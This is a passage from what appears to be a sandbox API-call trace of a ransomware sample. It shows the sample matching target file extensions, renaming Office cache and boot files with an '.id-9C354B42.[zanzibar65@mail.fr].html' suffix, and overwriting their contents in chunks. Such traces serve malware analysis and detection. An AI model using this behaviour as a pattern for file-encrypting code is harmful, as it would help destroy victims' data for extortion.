[0033.254] lstrlenW (lpString=".xls") returned 4 [0033.254] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0033.254] lstrlenW (lpString=".xlsx") returned 5 [0033.254] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0033.254] lstrlenW (lpString=".ppt") returned 4 [0033.254] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0033.254] lstrlenW (lpString="C:\\Boot\\pt-BR\\bootmgr.exe.mui") returned 29 [0033.254] lstrlenW (lpString=".zip") returned 4 [0033.254] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0033.254] lstrlenW (lpString=".rar") returned 4 [0033.254] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0033.254] lstrlenW (lpString=".bz2") returned 4 [0033.254] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0033.254] lstrlenW (lpString=".7z") returned 3 [0033.254] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0033.254] lstrlenW (lpString="C:\\Boot\\pt-BR\\bootmgr.exe.mui") returned 29 [0033.254] lstrlenW (lpString=".dbf") returned 4 [0033.254] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0033.255] lstrlenW (lpString="C:\\Boot\\pt-BR\\bootmgr.exe.mui") returned 29 [0033.255] lstrlenW (lpString=".1cd") returned 4 [0033.255] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0033.255] lstrlenW (lpString="C:\\Boot\\pt-BR\\bootmgr.exe.mui") returned 29 [0033.255] lstrlenW (lpString=".jpg") returned 4 [0033.255] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0033.255] lstrlenW (lpString="C:\\Boot\\pt-BR\\bootmgr.exe.mui") returned 29 [0033.255] lstrlenW (lpString="C:\\Boot\\pt-BR\\bootmgr.exe.mui") returned 29 [0033.255] lstrlenW (lpString=".doc") returned 4 [0033.255] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0033.255] lstrlenW (lpString=".docx") returned 5 [0033.255] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0033.255] lstrlenW (lpString=".pdf") returned 4 [0033.255] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0033.255] lstrlenW (lpString=".xls") returned 4 [0033.255] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0033.255] lstrlenW (lpString=".xlsx") returned 5 [0033.255] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0033.255] lstrlenW (lpString=".ppt") returned 4 [0033.255] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0033.255] lstrlenW (lpString="C:\\Boot\\pt-BR\\bootmgr.exe.mui") returned 29 [0033.255] lstrlenW (lpString=".zip") returned 4 [0033.255] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0033.255] lstrlenW (lpString=".rar") returned 4 [0033.255] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0033.255] lstrlenW (lpString=".bz2") returned 4 [0033.255] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0033.255] lstrlenW (lpString=".7z") returned 3 [0033.255] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0033.255] lstrlenW (lpString="C:\\Boot\\pt-BR\\bootmgr.exe.mui") returned 29 [0033.255] lstrlenW (lpString=".dbf") returned 4 [0033.256] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0033.256] lstrlenW (lpString="C:\\Boot\\pt-BR\\bootmgr.exe.mui") returned 29 [0033.256] lstrlenW (lpString=".1cd") returned 4 [0033.256] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0033.256] lstrlenW (lpString="C:\\Boot\\pt-BR\\bootmgr.exe.mui") returned 29 [0033.256] lstrlenW (lpString=".jpg") returned 4 [0033.256] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0033.256] lstrcmpiW (lpString1=".mui", lpString2=".html") returned 1 [0033.256] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0033.256] CreateFileW (lpFileName="C:\\Boot\\pt-PT\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-pt\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0033.256] GetFileSizeEx (in: hFile=0x168, lpFileSize=0x2afff1c | out: lpFileSize=0x2afff1c*=89664) returned 1 [0033.256] CloseHandle (hObject=0x168) returned 1 [0033.256] GetFileAttributesW (lpFileName="C:\\Boot\\pt-PT\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-pt\\bootmgr.exe.mui")) returned 0x20 [0033.256] GetFileAttributesW (lpFileName="C:\\Boot\\pt-PT\\bootmgr.exe.mui.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\boot\\pt-pt\\bootmgr.exe.mui.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0033.256] CreateFileW (lpFileName="C:\\Boot\\pt-PT\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-pt\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0033.256] lstrlenW (lpString="C:\\Boot\\pt-PT\\bootmgr.exe.mui") returned 29 [0033.256] lstrlenW (lpString="C:\\Boot\\pt-PT\\bootmgr.exe.mui") returned 29 [0033.257] lstrlenW (lpString=".doc") returned 4 [0033.257] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0033.257] lstrlenW (lpString=".docx") returned 5 [0033.257] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0033.257] lstrlenW (lpString=".pdf") returned 4 [0033.257] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0033.257] lstrlenW (lpString=".xls") returned 4 [0033.257] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0033.257] lstrlenW (lpString=".xlsx") returned 5 [0033.257] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0033.257] lstrlenW (lpString=".ppt") returned 4 [0033.257] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0033.257] lstrlenW (lpString="C:\\Boot\\pt-PT\\bootmgr.exe.mui") returned 29 [0033.257] lstrlenW (lpString=".zip") returned 4 [0033.257] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0033.257] lstrlenW (lpString=".rar") returned 4 [0033.257] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0033.257] lstrlenW (lpString=".bz2") returned 4 [0033.257] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0033.257] lstrlenW (lpString=".7z") returned 3 [0033.257] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0033.257] lstrlenW (lpString="C:\\Boot\\pt-PT\\bootmgr.exe.mui") returned 29 [0033.257] lstrlenW (lpString=".dbf") returned 4 [0033.257] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0033.257] lstrlenW (lpString="C:\\Boot\\pt-PT\\bootmgr.exe.mui") returned 29 [0033.257] lstrlenW (lpString=".1cd") returned 4 [0033.257] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0033.257] lstrlenW (lpString="C:\\Boot\\pt-PT\\bootmgr.exe.mui") returned 29 [0033.257] lstrlenW (lpString=".jpg") returned 4 [0033.257] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0033.257] lstrlenW (lpString="C:\\Boot\\pt-PT\\bootmgr.exe.mui") returned 29 [0033.257] lstrlenW (lpString="C:\\Boot\\pt-PT\\bootmgr.exe.mui") returned 29 [0033.257] lstrlenW (lpString=".doc") returned 4 [0033.257] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0033.258] lstrlenW (lpString=".docx") returned 5 [0033.258] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0033.258] lstrlenW (lpString=".pdf") returned 4 [0033.258] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0033.258] lstrlenW (lpString=".xls") returned 4 [0033.258] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0033.258] lstrlenW (lpString=".xlsx") returned 5 [0033.258] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0033.258] lstrlenW (lpString=".ppt") returned 4 [0033.258] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0033.258] lstrlenW (lpString="C:\\Boot\\pt-PT\\bootmgr.exe.mui") returned 29 [0033.258] lstrlenW (lpString=".zip") returned 4 [0033.258] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0033.258] lstrlenW (lpString=".rar") returned 4 [0033.258] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0033.258] lstrlenW (lpString=".bz2") returned 4 [0033.258] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0033.258] lstrlenW (lpString=".7z") returned 3 [0033.258] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0033.258] lstrlenW (lpString="C:\\Boot\\pt-PT\\bootmgr.exe.mui") returned 29 [0033.258] lstrlenW (lpString=".dbf") returned 4 [0033.258] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0033.258] lstrlenW (lpString="C:\\Boot\\pt-PT\\bootmgr.exe.mui") returned 29 [0033.258] lstrlenW (lpString=".1cd") returned 4 [0033.258] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0033.258] lstrlenW (lpString="C:\\Boot\\pt-PT\\bootmgr.exe.mui") returned 29 [0033.258] lstrlenW (lpString=".jpg") returned 4 [0033.258] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0033.258] Sleep (dwMilliseconds=0x64) [0033.928] Sleep (dwMilliseconds=0x64) [0034.190] lstrcmpiW (lpString1=".msi", lpString2=".html") returned 1 [0034.190] lstrlenW (lpString="PowerPointMUI.msi") returned 17 [0034.190] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0034.190] GetFileSizeEx (in: hFile=0x188, lpFileSize=0x2afff1c | out: lpFileSize=0x2afff1c*=2503680) returned 1 [0034.190] CloseHandle (hObject=0x188) returned 1 [0034.191] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.msi")) returned 0x2020 [0034.191] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.msi.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0034.191] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.msi.id-9c354b42.[zanzibar65@mail.fr].html")) returned 1 [0034.191] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.msi.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0034.191] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2affc6c | out: lpNewFilePointer=0x0) returned 1 [0034.191] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2affc2c | out: lpNewFilePointer=0x0) returned 1 [0034.191] ReadFile (in: hFile=0x188, lpBuffer=0x3610058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2affc38, lpOverlapped=0x0 | out: lpBuffer=0x3610058*, lpNumberOfBytesRead=0x2affc38*=0x40000, lpOverlapped=0x0) returned 1 [0034.199] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0xcbc00, lpNewFilePointer=0x0, dwMoveMethod=0x2affc2c | out: lpNewFilePointer=0x0) returned 1 [0034.199] ReadFile (in: hFile=0x188, lpBuffer=0x3650058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2affc38, lpOverlapped=0x0 | out: lpBuffer=0x3650058*, lpNumberOfBytesRead=0x2affc38*=0x40000, lpOverlapped=0x0) returned 1 [0034.210] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2affc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0034.211] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x223400, lpNewFilePointer=0x0, dwMoveMethod=0x2affc2c | out: lpNewFilePointer=0x0) returned 1 [0034.211] ReadFile (in: hFile=0x188, lpBuffer=0x3690058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2affc38, lpOverlapped=0x0 | out: lpBuffer=0x3690058*, lpNumberOfBytesRead=0x2affc38*=0x40000, lpOverlapped=0x0) returned 1 [0034.229] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2affec8 | out: lpNewFilePointer=0x0) returned 1 [0034.229] WriteFile (in: hFile=0x188, lpBuffer=0x3610020*, nNumberOfBytesToWrite=0xc010e, lpNumberOfBytesWritten=0x2affcb0, lpOverlapped=0x0 | out: lpBuffer=0x3610020*, lpNumberOfBytesWritten=0x2affcb0*=0xc010e, lpOverlapped=0x0) returned 1 [0034.497] SetEndOfFile (hFile=0x188) returned 1 [0034.725] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x40000) returned 0x3ed42b0 [0034.750] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2affc7c | out: lpNewFilePointer=0x0) returned 1 [0034.750] WriteFile (in: hFile=0x188, lpBuffer=0x3ed42b0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2affc88, lpOverlapped=0x0 | out: lpBuffer=0x3ed42b0*, lpNumberOfBytesWritten=0x2affc88*=0x40000, lpOverlapped=0x0) returned 1 [0034.752] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0xcbc00, lpNewFilePointer=0x0, dwMoveMethod=0x2affc7c | out: lpNewFilePointer=0x0) returned 1 [0034.752] WriteFile (in: hFile=0x188, lpBuffer=0x3ed42b0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2affc88, lpOverlapped=0x0 | out: lpBuffer=0x3ed42b0*, lpNumberOfBytesWritten=0x2affc88*=0x40000, lpOverlapped=0x0) returned 1 [0034.758] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x223400, lpNewFilePointer=0x0, dwMoveMethod=0x2affc7c | out: lpNewFilePointer=0x0) returned 1 [0034.758] WriteFile (in: hFile=0x188, lpBuffer=0x3ed42b0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2affc88, lpOverlapped=0x0 | out: lpBuffer=0x3ed42b0*, lpNumberOfBytesWritten=0x2affc88*=0x40000, lpOverlapped=0x0) returned 1 [0034.761] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x3ed42b0 | out: hHeap=0x220000) returned 1 [0034.761] CloseHandle (hObject=0x188) returned 1 [0035.485] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x2020) returned 1 [0035.485] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0035.485] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0035.485] lstrlenW (lpString=".doc") returned 4 [0035.485] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0035.485] lstrlenW (lpString=".docx") returned 5 [0035.485] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0035.485] lstrlenW (lpString=".pdf") returned 4 [0035.485] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0035.485] lstrlenW (lpString=".xls") returned 4 [0035.485] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0035.485] lstrlenW (lpString=".xlsx") returned 5 [0035.486] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0035.486] lstrlenW (lpString=".ppt") returned 4 [0035.486] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0035.486] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0035.486] lstrlenW (lpString=".zip") returned 4 [0035.486] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0035.486] lstrlenW (lpString=".rar") returned 4 [0035.486] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0035.486] lstrlenW (lpString=".bz2") returned 4 [0035.486] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0035.486] lstrlenW (lpString=".7z") returned 3 [0035.486] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0035.486] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0035.486] lstrlenW (lpString=".dbf") returned 4 [0035.486] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0035.486] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0035.486] lstrlenW (lpString=".1cd") returned 4 [0035.486] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0035.486] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0035.486] lstrlenW (lpString=".jpg") returned 4 [0035.486] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0035.486] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0035.486] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0035.486] lstrlenW (lpString=".doc") returned 4 [0035.486] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0035.486] lstrlenW (lpString=".docx") returned 5 [0035.486] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0035.486] lstrlenW (lpString=".pdf") returned 4 [0035.486] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0035.486] lstrlenW (lpString=".xls") returned 4 [0035.486] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0035.486] lstrlenW (lpString=".xlsx") returned 5 [0035.486] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0035.487] lstrlenW (lpString=".ppt") returned 4 [0035.487] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0035.487] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0035.487] lstrlenW (lpString=".zip") returned 4 [0035.487] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0035.487] lstrlenW (lpString=".rar") returned 4 [0035.487] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0035.487] lstrlenW (lpString=".bz2") returned 4 [0035.487] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0035.487] lstrlenW (lpString=".7z") returned 3 [0035.487] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0035.487] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0035.487] lstrlenW (lpString=".dbf") returned 4 [0035.487] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0035.487] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0035.487] lstrlenW (lpString=".1cd") returned 4 [0035.487] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0035.487] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0035.487] lstrlenW (lpString=".jpg") returned 4 [0035.487] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0035.487] lstrcmpiW (lpString1=".cab", lpString2=".html") returned -1 [0035.487] lstrlenW (lpString="PubLR.cab") returned 9 [0035.487] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0035.488] GetFileSizeEx (in: hFile=0x188, lpFileSize=0x2afff1c | out: lpFileSize=0x2afff1c*=9958388) returned 1 [0035.488] CloseHandle (hObject=0x188) returned 1 [0035.488] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publr.cab")) returned 0x2020 [0035.488] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publr.cab.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0035.488] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publr.cab.id-9c354b42.[zanzibar65@mail.fr].html")) returned 1 [0035.488] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publr.cab.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0035.488] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2affc6c | out: lpNewFilePointer=0x0) returned 1 [0035.489] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2affc2c | out: lpNewFilePointer=0x0) returned 1 [0035.489] ReadFile (in: hFile=0x188, lpBuffer=0x3610058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2affc38, lpOverlapped=0x0 | out: lpBuffer=0x3610058*, lpNumberOfBytesRead=0x2affc38*=0x40000, lpOverlapped=0x0) returned 1 [0035.794] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x32a6a6, lpNewFilePointer=0x0, dwMoveMethod=0x2affc2c | out: lpNewFilePointer=0x0) returned 1 [0035.794] ReadFile (in: hFile=0x188, lpBuffer=0x3650058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2affc38, lpOverlapped=0x0 | out: lpBuffer=0x3650058*, lpNumberOfBytesRead=0x2affc38*=0x40000, lpOverlapped=0x0) returned 1 [0035.801] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2affc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0035.801] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x93f3f4, lpNewFilePointer=0x0, dwMoveMethod=0x2affc2c | out: lpNewFilePointer=0x0) returned 1 [0035.801] ReadFile (in: hFile=0x188, lpBuffer=0x3690058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2affc38, lpOverlapped=0x0 | out: lpBuffer=0x3690058*, lpNumberOfBytesRead=0x2affc38*=0x40000, lpOverlapped=0x0) returned 1 [0035.895] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2affec8 | out: lpNewFilePointer=0x0) returned 1 [0035.895] WriteFile (in: hFile=0x188, lpBuffer=0x3610020*, nNumberOfBytesToWrite=0xc00fe, lpNumberOfBytesWritten=0x2affcb0, lpOverlapped=0x0 | out: lpBuffer=0x3610020*, lpNumberOfBytesWritten=0x2affcb0*=0xc00fe, lpOverlapped=0x0) returned 1 [0036.167] SetEndOfFile (hFile=0x188) returned 1 [0036.167] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x40000) returned 0x3f4c2e0 [0036.170] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2affc7c | out: lpNewFilePointer=0x0) returned 1 [0036.171] WriteFile (in: hFile=0x188, lpBuffer=0x3f4c2e0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2affc88, lpOverlapped=0x0 | out: lpBuffer=0x3f4c2e0*, lpNumberOfBytesWritten=0x2affc88*=0x40000, lpOverlapped=0x0) returned 1 [0036.174] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x32a6a6, lpNewFilePointer=0x0, dwMoveMethod=0x2affc7c | out: lpNewFilePointer=0x0) returned 1 [0036.174] WriteFile (in: hFile=0x188, lpBuffer=0x3f4c2e0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2affc88, lpOverlapped=0x0 | out: lpBuffer=0x3f4c2e0*, lpNumberOfBytesWritten=0x2affc88*=0x40000, lpOverlapped=0x0) returned 1 [0036.178] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x93f3f4, lpNewFilePointer=0x0, dwMoveMethod=0x2affc7c | out: lpNewFilePointer=0x0) returned 1 [0036.178] WriteFile (in: hFile=0x188, lpBuffer=0x3f4c2e0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2affc88, lpOverlapped=0x0 | out: lpBuffer=0x3f4c2e0*, lpNumberOfBytesWritten=0x2affc88*=0x40000, lpOverlapped=0x0) returned 1 [0036.183] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x3f4c2e0 | out: hHeap=0x220000) returned 1 [0036.183] CloseHandle (hObject=0x188) returned 1 [0039.028] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x2020) returned 1 [0039.028] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72 [0039.029] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72 [0039.029] lstrlenW (lpString=".doc") returned 4 [0039.029] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0039.029] lstrlenW (lpString=".docx") returned 5 [0039.029] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0039.029] lstrlenW (lpString=".pdf") returned 4 [0039.029] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0039.029] 